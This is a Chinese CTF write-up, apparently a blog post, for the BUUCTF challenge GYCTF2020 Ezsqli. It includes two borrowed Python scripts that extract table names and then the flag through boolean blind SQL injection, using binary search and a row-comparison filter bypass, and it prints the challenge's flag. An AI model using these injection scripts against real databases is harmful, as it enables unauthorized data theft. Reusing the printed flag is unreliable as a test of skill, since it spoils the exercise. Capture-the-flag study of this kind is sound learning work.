当前位置: 首页 > article >正文

54,【4】BUUCTF WEB GYCTF2020Ezsqli

6cc7a172a765475ca8cb8883abb84378.jpeg

进入靶场

1382dd939d194d56b2a2955a6f06039b.png

吓我一跳,但凡放个彭于晏我都不说啥了

1c97e215a0fe4ed39eaef4058f4b5b3f.png

 

提交个1看看

585dfd7e55e84cfea9865a5d43e47459.png

1 and 1=1

2c50f61f0c8d4e6582749b05ad5698e5.png

                                                                    1'#

c0976f5d35d24ed5b52ed0c15c298105.png

还尝试了很多,不过都被过滤了,头疼

看看别人的WP

竟然要写代码去跑!!!,不会啊,先用别人的代码吧,后续一定去学

第一个代码爆出表名

from turtle import right
import requests
import time

url = "http://..........."
table_name = ""
i = 0

while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        mid = (letf + right) // 2
        payload = f"0^(ascii(substr((select group_concat(table_name) from sys.x$schema_table_statistics_with_buffer where table_schema = database()),{i},1))>{mid})"
        data = {"id": payload}
        res = requests.post(url=url, data=data).text
        if "Nu1L" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        table_name += chr(letf)
        time.sleep(0.2)
        print(table_name)
    else:
        break

得到表名  giers233333333333333,f1ag_1s_h3r3_hhhhh

第二个代码通过表名爆出flag

import requests
import time
 
 
url = "http://........."
flag = ""
i = 0
 
 
while True:
    i = i + 1
    letf = 32
    right = 127
    while letf < right:
        s = flag
        mid = (letf+right) // 2
        s = s + chr(mid)
        payload = f"0^((select * from f1ag_1s_h3r3_hhhhh)>(select 1,'{s}'))"
        data = {"id":payload}
        res = requests.post(url=url,data=data).text
        if "Nu1L" in res:
            letf = mid + 1
        else:
            right = mid
    if letf != 32:
        flag += chr(letf-1)
        print(flag)
        time.sleep(0.2)
    else:
        break

得到FLAG{E6AC8B59-EC60-4BC1-A3C9-C6B770B889CE}

即flag{e6ac8b59-ec60-4bc1-a3c9-c6b770b889ce}

cf7ee326eca947769b0360503ad66475.jpeg

笔记

学习python脚本怎么写

 


http://www.kler.cn/a/508277.html

相关文章:

  • HJ11 数字颠倒(Java版)
  • 俄语画外音的特点
  • 如何在Mac上使用Brew更新Cursor应用程序
  • 记录点android升级内容
  • Dart语言的语法糖
  • [Bug]libGL.so.1: cannot open shared object file: No such file or directory
  • Golang Gin系列-1:Gin 框架总体概述
  • 北京市房屋建筑物轮廓shp数据arcgis高度字段内容下载分析
  • 电路笔记(信号):Python 滤波器设计分析工具pyfda
  • 黑马Java面试教程_P1_导学与准备篇
  • LoadBalancer负载均衡服务调用
  • 栈和队列(数据结构初阶)
  • U盘被格式化后的数据救赎与防范策略
  • IEEE RAL 中科院发表混合式巡检机器人高效轨迹规划方法
  • 聚铭网络6款产品入选CCIA《网络安全专用产品指南》
  • python 利用 ddddocr包 ocr识别图片码
  • RabbitMQ实现延迟消息发送——实战篇
  • IDEA 中配置启动Tomcat
  • 码云gitee 新建仓库 添加公钥
  • 2019-腾讯Android面试精选题——谈一谈Binder的原理和实现一次拷贝的流程